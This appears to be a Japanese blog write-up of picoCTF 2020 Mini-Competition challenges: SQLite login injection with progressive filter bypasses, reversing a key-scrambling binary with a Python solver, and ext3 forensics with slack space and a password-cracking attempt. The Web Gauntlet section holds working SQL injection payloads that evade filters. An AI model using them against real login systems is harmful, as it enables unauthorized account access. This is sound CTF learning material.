好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF 2020 Mini-Competition writeup

picoCTF2020は、これまでのとても優しい問題から最先端の難問まで、各ジャンル大量に問題が出るものからガラリと傾向が変わり、全部で6問、crypto分野なしの全問1点ずつでした。難易度は中級だったのかな?
期間も、例年2週間程度だったのが今年は1ヶ月。10月は他にもSECCON CTFやCODE BLUE、AV Tokyoなど他のビックイベントも目白押しなので、ゆっくり取り組んでいました。

結果は 5/6 問解いて、80位。5問目を滑り込みで解いたので、同じ特典帯では最下位でした。

f:id:kusuwada:20201101060231p:plain

登録数は4,822チーム、うち1点以上入れたのが3,381チームということで、登録だけしたよーというチームも多かった様子。いつもと傾向が違いすぎて戸惑った人も多かったかも?

Binaryに関してはまだまとめられていないので、それ以外の問題のwriteupを書いておきます。

[General] Nothing Up My Sleeve

Let's check that your internet connection is working. This flag is 'in-the-clear', I promise! Download flag.txt

問題文のflag.txtのリンクをクリックすると、flagが降ってくる。

[Web] Web Gauntlet

Can you beat the filters? Log in as admin http://jupiter.challenges.picoctf.org:51480/ http://jupiter.challenges.picoctf.org:51480/filter.php

SQLiteのSQLinjection問。どんどんフィルタが増えていく。

Round 1/5

filter.php の方をのぞくと、Round1: orと書いてある。これは、orがfilterされるよ、という意味かな。
試しに Username = admin, Password = test を入れてみると、Invalid username/passwordの表示。
いろいろ試してみて気づいたんだけど、うっすらとフォームの後ろに組んだクエリが表示されている…。

f:id:kusuwada:20201101054906p:plain

これによると

SELECT * FROM users WHERE username='admin' AND password='test'

と変換されるらしい。

admin'-- 

を入れると通った👍
最後にスペースが必要。

Round 2/5

クリアじゃなかった。Round2が始まった。
Round2のfilterは

Round2: or and like = --

とのこと。コメントアウト使えないのか。
クエリはRound1と一緒。

2つ目の'をエスケープして、最後の'を活かすためにregexpを使って比較させてみる。

SELECT * FROM users WHERE username='/' AND password='||username regexp '^admin'

うーん、通らない。イケると思ったんだけど...。あ、SQLiteはエスケープに/使えないんだった。

SELECT * FROM users WHERE username='admin';%00' AND password=''

ちょっと想定解じゃなさそうだけど、途中で読み込み停止させるためにNULL文字%00をコメントのかわりにを突っ込んだら通った。

Round 3/5

filter.php

Round3: or and = like > < --

どんどんフィルタ増えてる。ということは、さっきの想定解は>,<を使う解き方だったのかな。not < and not >とか。
Round2と同じ解き方で通ってしまった…。

Round 4/5

filter.php

Round4: or and = like > < -- admin

今度はadminが使えない。hexで入れてみる。

SELECT * FROM users WHERE username=''||username in(0x61646d696e);%00' AND password=''

これいけるかと思ったんだけど、filterに引っかかったときと同じレスポンス。
あ、これもしかしてfilterにblank入ってる?
そういえば問題文のヒントに、見えにくいfilter文字があるからhexで確認しろって書いてあった。確認したら0x20(whitespace)がフィルタに入ってた。

SELECT * FROM users WHERE username=''||username/**/in(0x61646d696e);%00' AND password=''

これでfilterで弾かれなくなった。
あとは in の中身を変えたほうが良さそう。

SELECT * FROM users WHERE username=''/**/union/**/select*from/**/users/**/where/**/username/**/in(char(97,100,109,105,110));%00' AND password=''

なんか || も通ってない感じがしたので、力技で union select 使ってくっつけたったら通った👍
(||はSQLiteではorではなく文字連結になるらしい!ということは'adm'||'in'とかでいけたのか。)

Round 5/5

ここまで来たら解きたいなー。

Round5: or and = like > < -- union admin

あーunionも封じられてしまった…!
もっとシンプルに考えて…。さっき発見した文字連結||を使うと、下記で良かった…。

SELECT * FROM users WHERE username='ad'||'min';%00' AND password=''

これで全問通せたのでは…。

[Reversing] OTP Implementation

Yay reversing! Relevant files: otp flag.txt

otpflag.txtが配布されます。

flag.txt

a5d47ae6ffa911de9d2b1b7611c47a1c43202a32f0042246f822c82345328becd5b8ec4118660f9b8cdc98bd1a41141943a9

otp

$ file otp
otp: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2247be439d9e3266cfb191bda087260bcd7066f5, not stripped

実行ファイルだ。
ヒントでは GDB PythonANGR を使うのがお勧めされていたけど、一先ず無視してghidraに突っ込んでdecompileしてもらった。

こちら、引数名を読みやすくしたり、かけてる情報を補完したコード。

undefined8 main(int arg_len, undefined8 *input_key)
{
  int i,j
  char jumbled;
  byte shifted;
  int ret;
  undefined8 retCode;
  char buff_key [100];
  char scrambled [104];

  if (arg_len < 2) {
    printf("USAGE: %s [KEY]\n",*input_key);
    retCode = 1;
  }
  else {
    strncpy(buff_key,(char *)input_key[1],100);
    i = 0;
    while( true ) {
      ret = valid_char((ulong)(uint)(int)buff_key[i]);
      if (ret == 0) break;
      if (i == 0) {
        jumbled = jumble(buff_key[i]);
        shifted = (byte)(jumbled >> 7) >> 4;
        scrambled[0] = (jumbled + shifted & 0xf) - shifted;
      }
      else {
        jumbled = jumble(buff_key[i]);
        shifted = (byte)((int)jumbled + (int)scrambled[(long)(i + -1)] >> 0x37);
        scrambled[(long)i] =
             ((char)((int)jumbled + (int)scrambled[(long)(i + -1)]) + (shifted >> 4) & 0xf) -
             (shifted >> 4);
      }
      i = i + 1;
    }
    j = 0;
    while (j < i) {
      scrambled[(long)j] = scrambled[(long)j] + 'a';
      j = j + 1;
    }
    if (i == 100) {
      ret = strncmp(scrambled,
                      "lfmhjmnahapkechbanheabbfjladhbplbnfaijdajpnljecghmoafbljlaamhpaheonlmnpmaddhngbgbhobgnofjgeaomadbidl"
                      ,100);
      if (ret == 0) {
        puts("You got the key, congrats! Now xor it with the flag!");
        retCode = 0;
        goto LAB_001009ea;
      }
    }
    puts("Invalid key!");
    retCode = 1;
  }
LAB_001009ea:
  return retCode;
}

undefined8 valid_char(char input)
{
  undefined8 is_valid;
  
  if ((input < '0') || ('9' < input)) {
    if ((input < 'a') || ('f' < input)) {
      is_valid = 0;
    }
    else {
      is_valid = 1;
    }
  }
  else {
    is_valid = 1;
  }
  return is_valid;
}

ulong jumble(char input)
{
  byte shifted;
  byte jumbled;
  
  jumbled = input;
  if ('`' < input) { // 0x60 (0x61 = a)
    jumbled = input + '\t'; // 0x9
  }
  shifted = (byte)((char)jumbled >> 7) >> 4;
  jumbled = ((jumbled + shifted & 0xf) - shifted) * '\x02';
  if ('\x0f' < (char)jumbled) {
    jumbled = jumbled + 1;
  }
  return (ulong)jumbled;
}

お、これは処理を逆にしてinputを計算できそうでは!?
inputとflag.txtの内容をxorしたらflagになりそう。

ANGRだと、"You got the key, congrats! Now xor it with the flag!" を出力してくれるアドレスをgoalにセットすればいけそう。どっちでやろうか悩ましい。

並列でやってみたんだけど、ANGRがどうしても強制終了してしまう。
Hintにあるってことは使えるんだろうけど、書き方が良くないのか。他の問題はちゃんと動作して解けているので、今回は入力が100文字もあるから処理しきれないのか。ANGRのwriteupを待とう。

ということで、力技でdecompile結果をコードに落としてkeyを計算する方法で解いた。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import binascii

cmp_chars = "lfmhjmnahapkechbanheabbfjladhbplbnfaijdajpnljecghmoafbljlaamhpaheonlmnpmaddhngbgbhobgnofjgeaomadbidl"
flag_xor = 0xa5d47ae6ffa911de9d2b1b7611c47a1c43202a32f0042246f822c82345328becd5b8ec4118660f9b8cdc98bd1a41141943a9
candidates = "0123456789abcdef"

def check(i, c, prev):
    if i == 0:
        jumbled = jumble(c)
        shifted = (jumbled >> 7) >> 4
        scrambled = (jumbled + shifted & 0xf) - shifted
    else:
        jumbled = jumble(c)
        shifted = (jumbled + prev) >> 0x37
        scrambled = (jumbled + prev + (shifted >> 4) & 0xf) - (shifted >> 4)
    return scrambled

def jumble(c):
    jumbled = c
    if 0x60 < c:
        jumbled = jumbled + 0x9
    shifted = (jumbled >> 7) >> 4
    jumbled = ((jumbled + shifted & 0xf) - shifted) * 2
    if 0xf < jumbled:
        jumbled += 1
    return jumbled

prev = 0
result = [0]*100
for i in range(100):
    for c in candidates:
        scrambled = check(i, ord(c), prev)
        if chr(scrambled+0x61) == cmp_chars[i]:
            result[i] = c
            prev = scrambled
            break

print('key: ' + ''.join(result))
print(binascii.unhexlify(hex(flag_xor^int(''.join(result),16))[2:]))

実行結果

$ python solve.py 
key: d5bd1989bcfd57a5fe5e680221a92576364d485ec3777d728a11a6571a06d48be5f7881e29023cdad3b9ab8b2e7677297bd4
b'picoCTF{cust0m_jumbl3s_4r3nt_4_g0Od_1d3A_e3647c08}'

🙌
最近reversingが ghidra に突っ込んで decompile -> からのコード読んで力技、が多いので、シュッとreversingツール使ったり、そもそもアセンブリそのまま読めるようになりたい。

[Forensics] Pitter, Patter, Platters

'Suspicious' is written all over this disk image. Download suspicious.dd.sda1

これめっちゃ時間かかったけど、ヒントが出たらすぐ解けた。ヒント前の試行錯誤から載せているので、答えだけ知りたい人は途中から飛んでください。

suspicious.dd.sda1というファイルが配布される。

$ file suspicious.dd.sda1 
suspicious.dd.sda1: Linux rev 1.0 ext3 filesystem data, UUID=fc168af0-183b-4e53-bdf3-9c1055413b40 (needs journal recovery)

file commandでみてみると、ext3 filesystem dataのよう。
ext2 については、picoCTF2018で出題されていました

今回はext3なので、fsck ext3などのワードでググってみます。
journal recoveryは普通のコマンドでできそう。

# fsck /root/ctf/suspicious.dd.sda1
fsck from util-linux 2.33.1
e2fsck 1.44.5 (15-Dec-2018)
/root/ctf/suspicious.dd.sda1: recovering journal
/root/ctf/suspicious.dd.sda1: clean, 70/8032 files, 17303/32096 blocks
# file suspicious.dd.sda1 
suspicious.dd.sda1: Linux rev 1.0 ext3 filesystem data, UUID=fc168af0-183b-4e53-bdf3-9c1055413b40

なんか修復されたっぽい?
debugfsで開いてみます。

# debugfs suspicious.dd.sda1 
debugfs 1.44.5 (15-Dec-2018)
debugfs:  ls
 2  (12) .    2  (12) ..    11  (20) lost+found    2009  (12) boot   
 4017  (12) tce    12  (956) suspicious-file.txt   

一番疑わしいsuspicious-file.txtを見てみます

debugfs:  cat suspicious-file.txt
Nothing to see here! But you may want to look here -->

hereってどこ!?
もともと続きにflagが書かれていて、消したとか?

※ここから試行錯誤が続きますが、super hintからの解法はこちらへ

tceがフォルダっぽかったので潜ってみた中身

   4017   40775 (2)   1001     50    1024 12-Nov-2015 05:02 .
      2   40755 (2)      0      0    1024 30-Sep-2020 22:15 ..
   4018  100664 (1)   1001     50   10474 12-Nov-2015 07:21 mydata.tgz
   4019   40775 (2)   1001     50    1024 12-Nov-2015 05:24 optional
   4020   40775 (2)   1001     50    1024 12-Nov-2015 05:02 ondemand
   4021  100664 (1)   1001     50     170 30-Sep-2020 18:26 onboot.lst

mydata.tgzが怪しい。これもdumpして解凍してみたら、色んなデータが!
とりあえずフラグフォートマット picoCTF とか flag で grep してみたけど、何もでてこない。

etc/passwd,etc/shadowも取れたのでJohnをぶん回してみたけど、30時間経っても見るからなかったみたいなので諦めた。辞書リストでもあればよかったんだろうけど…。解けた人数とかけた時間から考えると想定解ではなさそう。

とりあえずext3の解析にext3grepというのが使えそうということだったのでinstall。

$ ext3grep suspicious.dd.sda1 –restore-all

で全部のファイルを引っこ抜いてもらう。
ここででてきたファイルをザーッと見てみると、/boot/core.gzというファイルが。

$ file core.gz 
core.gz: gzip compressed data, was "core.cpio", last modified: Wed Sep 10 12:44:13 2014, max compression, from Unix, original size 9062400

ふむ、cpioという拡張子のファイルらしい。

$ gzip -d core.gz
$ file core
core: ASCII cpio archive (SVR4 with no CRC)

無事取り出せました。これを紐解いてファイルを取り出すには

$ cpio -idv < core

コマンドでできるらしい。たくさん出てきた!
ここからまたgrepしたりしていると、気になるものが。

# grep -ri flag . --binary-files=without-match
./usr/bin/filetool.sh:echo "Required action flag is missing: $1"
./usr/bin/fromISOfile:          FLAGS=" -i -b "
./usr/bin/fromISOfile:          su "$USER" -c 'tce-load '"$FLAGS"' '"$FILE"
./usr/bin/tce-setup:    FLAGS=" -i -b "
./usr/bin/tce-setup:    su "$USER" -c 'tce-load '"$FLAGS"' '"$FILE"
./usr/bin/ondemand:# Arrive here if no flags were specified.
./etc/init.d/tc-functions:BEGIN { writeFlag=1 }
./etc/init.d/tc-functions:    writeFlag=0
./etc/init.d/tc-functions:    if (index($0, endTarget)) writeFlag=1
./etc/init.d/tc-functions:  if (writeFlag) print $0

怪しいコメント!

Arrive here if no flags were specified.

これはシステム用のコメントではなくて挑戦者用のコメントでは?
なんかこの /user/bin/ondemand を実行したら良さそうな気がする!
色々ファイルをincludeしてて、該当ファイルもinclude先も絶対パス指定が多かったので、imageでbootしてあげられないか考えてみる。
使ってるファイルを全部pathを書き換えるのでも良さそうだけど、includeのnestが深いともう嫌になっちゃいそうだったのでできればpathをそのまま使えるようにしたい…。

.ash_historyに事前準備っぽい履歴があるので、これをやるのが良いのかもしれない。
そのあと、ondemand実行かなー?やるだけと思ったけどなかなかできない。

とにかく突き倒して何もでてこないので塩漬け。forensicsは使うツールや手法がわかると早いんだけど、何もわからないと闇雲に試して空振りで終わることが多い…。
super hintが競技期間の後半に出るらしいのでそれを待っていました。

Super Hint と 解法

でました!Super Hint

Have you heard of slack space? There is a certain set of tools that now come with Ubuntu that I'd recommend for examining that disk space phenomenon...

slack space というのが鍵らしい。コミュニケーションツールのslackのことかと思ったけど、picoCTFのコミュニケーションツールはDiscord。ググってみると、英和辞典にも簡単な説明が載っていた。

ディスクの利用がクラスター単位であるために生じる, ファイルに割り当てられているがデータが記録されていないディスク領域

slack spaceの意味・使い方・読み方 | Weblio英和辞書

ファイルに割り当てられディスクスペースを消費しているが、実際には未使用の領域。ファイルサイズがクラスターサイズの整数倍でない限り生じる。

slack spaceの意味・使い方|英辞郎 on the WEB:アルク

slackって「ゆるい、たるんだ、いいかげんな」という形容詞だったんだね…。知らなかった。
詳細についてはこのあたりが読みやすかった。

What is slack space (file slack space)? - Definition from WhatIs.com

上記出典からの意訳

大体のOSでは1セクタ512バイトで区切られていて、例えば400バイトのファイルが保存されている場合、残りの112バイトは未使用領域として残る。ファイルを削除する時、OSはファイルが専有していたセクタを再割り当て可能な状態にするので、次にこのセクタを割当てられたファイルが200バイトだった場合、もとの112バイトのslack spaceに加えて、最初のファイルが存在していた200バイトの領域もslack spaceに含まれる。

こんな感じで、前のファイルの情報とかが残っている事があるので、調査でよく使われるそうだ。ちょっと前のヒラリー・クリントンのメールの調査にも使われた技術らしい。面白い!

次に紹介する資料にもでてきたけど、この領域の大きさはファイルシステムのブロックサイズに制限されるので、あまり大きなデータを隠すには向いていないそう。それこそ断片的に隠して寄せ集めるともとのデータになる、みたいにすればできそうだけど。

で、肝心のデータを見つける方法だけども、ググってヒットしたこのペーパーを頼りにすることに。

GIAC An Introduction to Hiding and Finding Data on Linux

どうやら2003年のSANSで使われた資料らしい。
p15から、slack spaceへのデータの隠し方・見つけ方について記されている。

ここで紹介されているツールは Autopsy !こないだしばらく無料でトレーニングが受けれたやつだ!受けそこねたけど!
確かkaliには標準でスタンドアロン型のが装備されているはずなので使ってみます。

$ autopsy

これだけで立ち上がった…!terminalにでてきたurlにブラウザでアクセスします。
SANS資料で紹介されている "keyword search" では残念ながら何も見つからなかったので、下記の手順でポチポチ旅をしてみると、flagがでてきました🙌!!!

CREATE_CASE

f:id:kusuwada:20201101055443p:plain

ADD IMAGE FILE

f:id:kusuwada:20201101055447p:plain

f:id:kusuwada:20201101055515p:plain

今回はPartition。

Image File Details

f:id:kusuwada:20201101055519p:plain

Mount Pointは好きなのを指定、File System Typeは、今回はext。

FILE ANALYSIS

f:id:kusuwada:20201101055603p:plain

ANALYZE をポチ。

f:id:kusuwada:20201101055608p:plain

問題のsuspicious-file.txtは META(inode)12番。
12番をクリックしてみると、こんなページに飛びました。

f:id:kusuwada:20201101055630p:plain

一番最後の"Direct Block" 2049 のリンクを押すと

f:id:kusuwada:20201101055635p:plain

おや!逆さの一文字飛ばしflagだ!これでは keyword search に引っかからなかったわけだ。

flag = "}.6.1.d.9.0.7.e.c._.3.<._.|.L.m._.1.1.1.t.5._.3.b.{.F.T.C.o.c.i.p"

for i in range(len(flag)+1):
    if i%2:
        print(flag[len(flag)-i], end="")

実行結果

$ python solve.py 
picoCTF{b3_5t111_mL|_<3_ce709d16}

ウーン、cpioとかいらんかったんや…。coreファイルの解析も、jhonでshadow解析したりも、全部いらんかったんや…。最初からAUTOPSY使っておけば一発…。
この辺の勘所は、たくさんforensicしたらついてくるんだろうか…?

なんにせよ、ヒントのおかげで競技期間中になんとか解けたので良かった!